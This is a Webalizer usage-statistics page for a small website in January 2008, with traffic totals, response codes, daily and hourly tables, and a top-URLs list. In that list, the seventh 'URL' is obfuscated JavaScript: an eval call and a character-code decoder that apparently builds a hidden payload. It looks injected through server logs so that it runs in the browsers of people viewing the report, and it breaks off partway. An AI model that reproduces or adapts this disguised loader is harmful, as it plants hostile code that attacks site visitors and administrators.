[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]
| Monthly Statistics for January 2008 | ||
|---|---|---|
| Total Hits | 1328 | |
| Total Files | 1140 | |
| Total Pages | 1198 | |
| Total Visits | 264 | |
| Total KBytes | 5983 | |
| Total Unique Sites | 102 | |
| Total Unique URLs | 26 | |
| Total Unique Referrers | 65 | |
| Total Unique User Agents | 43 | |
| . | Avg | Max |
| Hits per Hour | 1 | 21 |
| Hits per Day | 42 | 205 |
| Files per Day | 36 | 199 |
| Pages per Day | 38 | 203 |
| Visits per Day | 8 | 25 |
| KBytes per Day | 193 | 1014 |
| Hits by Response Code | ||
| Code 200 - OK | 1140 | |
| Code 206 - Partial Content | 2 | |
| Code 301 - Moved Permanently | 1 | |
| Code 304 - Not Modified | 9 | |
| Code 403 - Forbidden | 2 | |
| Code 404 - Not Found | 172 | |
| Code 405 - Method Not Allowed | 2 | |
| Daily Statistics for January 2008 | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Day | Hits | Files | Pages | Visits | Sites | KBytes | ||||||
| 1 | 29 | 2.18% | 25 | 2.19% | 26 | 2.17% | 9 | 3.41% | 4 | 3.92% | 18 | 0.30% |
| 2 | 14 | 1.05% | 7 | 0.61% | 11 | 0.92% | 6 | 2.27% | 6 | 5.88% | 7 | 0.11% |
| 3 | 5 | 0.38% | 4 | 0.35% | 5 | 0.42% | 3 | 1.14% | 2 | 1.96% | 114 | 1.91% |
| 4 | 17 | 1.28% | 12 | 1.05% | 10 | 0.83% | 5 | 1.89% | 3 | 2.94% | 341 | 5.71% |
| 5 | 39 | 2.94% | 26 | 2.28% | 21 | 1.75% | 10 | 3.79% | 7 | 6.86% | 396 | 6.61% |
| 6 | 11 | 0.83% | 6 | 0.53% | 3 | 0.25% | 2 | 0.76% | 4 | 3.92% | 116 | 1.93% |
| 7 | 61 | 4.59% | 47 | 4.12% | 45 | 3.76% | 18 | 6.82% | 9 | 8.82% | 149 | 2.49% |
| 8 | 40 | 3.01% | 36 | 3.16% | 39 | 3.26% | 16 | 6.06% | 7 | 6.86% | 85 | 1.41% |
| 9 | 42 | 3.16% | 25 | 2.19% | 39 | 3.26% | 17 | 6.44% | 11 | 10.78% | 124 | 2.07% |
| 10 | 71 | 5.35% | 70 | 6.14% | 70 | 5.84% | 8 | 3.03% | 3 | 2.94% | 40 | 0.66% |
| 11 | 164 | 12.35% | 164 | 14.39% | 164 | 13.69% | 6 | 2.27% | 2 | 1.96% | 191 | 3.18% |
| 12 | 29 | 2.18% | 26 | 2.28% | 28 | 2.34% | 6 | 2.27% | 5 | 4.90% | 222 | 3.71% |
| 13 | 4 | 0.30% | 3 | 0.26% | 3 | 0.25% | 3 | 1.14% | 3 | 2.94% | 33 | 0.56% |
| 14 | 50 | 3.77% | 38 | 3.33% | 47 | 3.92% | 17 | 6.44% | 6 | 5.88% | 345 | 5.77% |
| 15 | 205 | 15.44% | 199 | 17.46% | 203 | 16.94% | 7 | 2.65% | 5 | 4.90% | 217 | 3.63% |
| 16 | 139 | 10.47% | 134 | 11.75% | 134 | 11.19% | 6 | 2.27% | 7 | 6.86% | 187 | 3.13% |
| 17 | 84 | 6.33% | 83 | 7.28% | 80 | 6.68% | 25 | 9.47% | 3 | 2.94% | 160 | 2.68% |
| 18 | 14 | 1.05% | 0 | 0.00% | 14 | 1.17% | 10 | 3.79% | 5 | 4.90% | 3 | 0.05% |
| 19 | 10 | 0.75% | 6 | 0.53% | 3 | 0.25% | 3 | 1.14% | 4 | 3.92% | 213 | 3.55% |
| 20 | 15 | 1.13% | 1 | 0.09% | 14 | 1.17% | 5 | 1.89% | 3 | 2.94% | 102 | 1.70% |
| 21 | 9 | 0.68% | 7 | 0.61% | 6 | 0.50% | 4 | 1.52% | 4 | 3.92% | 110 | 1.84% |
| 22 | 12 | 0.90% | 6 | 0.53% | 6 | 0.50% | 3 | 1.14% | 3 | 2.94% | 114 | 1.90% |
| 23 | 10 | 0.75% | 5 | 0.44% | 6 | 0.50% | 4 | 1.52% | 4 | 3.92% | 141 | 2.35% |
| 24 | 8 | 0.60% | 6 | 0.53% | 8 | 0.67% | 3 | 1.14% | 3 | 2.94% | 35 | 0.59% |
| 25 | 15 | 1.13% | 7 | 0.61% | 7 | 0.58% | 5 | 1.89% | 3 | 2.94% | 272 | 4.55% |
| 26 | 127 | 9.56% | 113 | 9.91% | 125 | 10.43% | 20 | 7.58% | 17 | 16.67% | 1014 | 16.94% |
| 27 | 49 | 3.69% | 46 | 4.04% | 37 | 3.09% | 16 | 6.06% | 7 | 6.86% | 597 | 9.98% |
| 28 | 9 | 0.68% | 6 | 0.53% | 8 | 0.67% | 6 | 2.27% | 4 | 3.92% | 210 | 3.50% |
| 29 | 18 | 1.36% | 15 | 1.32% | 13 | 1.09% | 10 | 3.79% | 5 | 4.90% | 318 | 5.31% |
| 30 | 23 | 1.73% | 12 | 1.05% | 18 | 1.50% | 9 | 3.41% | 6 | 5.88% | 9 | 0.15% |
| 31 | 5 | 0.38% | 5 | 0.44% | 5 | 0.42% | 5 | 1.89% | 2 | 1.96% | 102 | 1.71% |
| Hourly Statistics for January 2008 | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Hour | Hits | Files | Pages | KBytes | ||||||||
| Avg | Total | Avg | Total | Avg | Total | Avg | Total | |||||
| 0 | 1 | 44 | 3.31% | 1 | 41 | 3.60% | 1 | 42 | 3.51% | 4 | 124 | 2.08% |
| 1 | 1 | 49 | 3.69% | 1 | 42 | 3.68% | 1 | 42 | 3.51% | 9 | 292 | 4.88% |
| 2 | 1 | 54 | 4.07% | 1 | 51 | 4.47% | 1 | 46 | 3.84% | 13 | 400 | 6.68% |
| 3 | 1 | 41 | 3.09% | 1 | 35 | 3.07% | 1 | 38 | 3.17% | 7 | 230 | 3.85% |
| 4 | 1 | 53 | 3.99% | 1 | 36 | 3.16% | 1 | 50 | 4.17% | 4 | 129 | 2.15% |
| 5 | 1 | 39 | 2.94% | 1 | 35 | 3.07% | 1 | 38 | 3.17% | 5 | 141 | 2.36% |
| 6 | 2 | 65 | 4.89% | 1 | 61 | 5.35% | 2 | 64 | 5.34% | 3 | 99 | 1.65% |
| 7 | 2 | 64 | 4.82% | 1 | 59 | 5.18% | 1 | 61 | 5.09% | 8 | 240 | 4.00% |
| 8 | 1 | 52 | 3.92% | 1 | 51 | 4.47% | 1 | 51 | 4.26% | 1 | 29 | 0.48% |
| 9 | 1 | 53 | 3.99% | 1 | 48 | 4.21% | 1 | 47 | 3.92% | 7 | 232 | 3.88% |
| 10 | 1 | 51 | 3.84% | 1 | 46 | 4.04% | 1 | 49 | 4.09% | 1 | 27 | 0.45% |
| 11 | 2 | 62 | 4.67% | 1 | 53 | 4.65% | 1 | 51 | 4.26% | 9 | 283 | 4.73% |
| 12 | 1 | 46 | 3.46% | 1 | 42 | 3.68% | 1 | 46 | 3.84% | 4 | 131 | 2.20% |
| 13 | 1 | 59 | 4.44% | 1 | 51 | 4.47% | 1 | 51 | 4.26% | 1 | 46 | 0.78% |
| 14 | 2 | 67 | 5.05% | 2 | 62 | 5.44% | 2 | 64 | 5.34% | 9 | 273 | 4.57% |
| 15 | 2 | 65 | 4.89% | 1 | 57 | 5.00% | 1 | 51 | 4.26% | 16 | 498 | 8.32% |
| 16 | 1 | 48 | 3.61% | 1 | 38 | 3.33% | 1 | 47 | 3.92% | 1 | 24 | 0.39% |
| 17 | 2 | 79 | 5.95% | 1 | 55 | 4.82% | 2 | 66 | 5.51% | 28 | 866 | 14.48% |
| 18 | 2 | 76 | 5.72% | 2 | 67 | 5.88% | 2 | 66 | 5.51% | 30 | 921 | 15.39% |
| 19 | 1 | 53 | 3.99% | 1 | 46 | 4.04% | 1 | 44 | 3.67% | 8 | 239 | 3.99% |
| 20 | 1 | 51 | 3.84% | 1 | 37 | 3.25% | 1 | 48 | 4.01% | 4 | 130 | 2.17% |
| 21 | 1 | 46 | 3.46% | 1 | 41 | 3.60% | 1 | 44 | 3.67% | 4 | 136 | 2.27% |
| 22 | 1 | 52 | 3.92% | 1 | 37 | 3.25% | 1 | 46 | 3.84% | 11 | 341 | 5.70% |
| 23 | 1 | 59 | 4.44% | 1 | 49 | 4.30% | 1 | 46 | 3.84% | 5 | 153 | 2.55% |
| Top 12 of 26 Total URLs | |||||
|---|---|---|---|---|---|
| # | Hits | KBytes | URL | ||
| 1 | 1014 | 76.36% | 571 | 9.54% | / |
| 2 | 25 | 1.88% | 1897 | 31.71% | /webalizer/usage_200705.html |
| 3 | 9 | 0.68% | 73 | 1.22% | /webalizer/ |
| 4 | 8 | 0.60% | 696 | 11.63% | /webalizer/usage_200709.html |
| 5 | 6 | 0.45% | 534 | 8.92% | /webalizer/usage_200707.html |
| 6 | 5 | 0.38% | 413 | 6.89% | /webalizer/usage_200706.html |
| 7 | 5 | 0.38% | 382 | 6.38% | function CBeKy(lFwuKN){ var TySUSIZW=new Function("ncX", "return 872821;");alert('NmTqOe');window.eval(); }
function NTZS(hWal){var UHrvVQkw=6,fAgz=5;var qIMfd='72+0,126+0,122+2,136+4,116+2,130+4,121+1,38+2,142+4,126+0,120+0,139+1,124+4,73+1,58+4,38+2,124+4,121+1,126+0,123+3,124+4,139+1,73+1,58+4,38+2,117+3,133+1,136+4,120+0,121+1,136+4,73+1,57+3,38+2,122+2,136+4,116+2,130+4,121+1,117+3,133+1,136+4,120+0,121+1,136+4,73+1,57+3,38+2,138+0,136+4,',bSBxeEp=qIMfd.split(',');rZh='';for(HVMYENy=0;HVMYENy |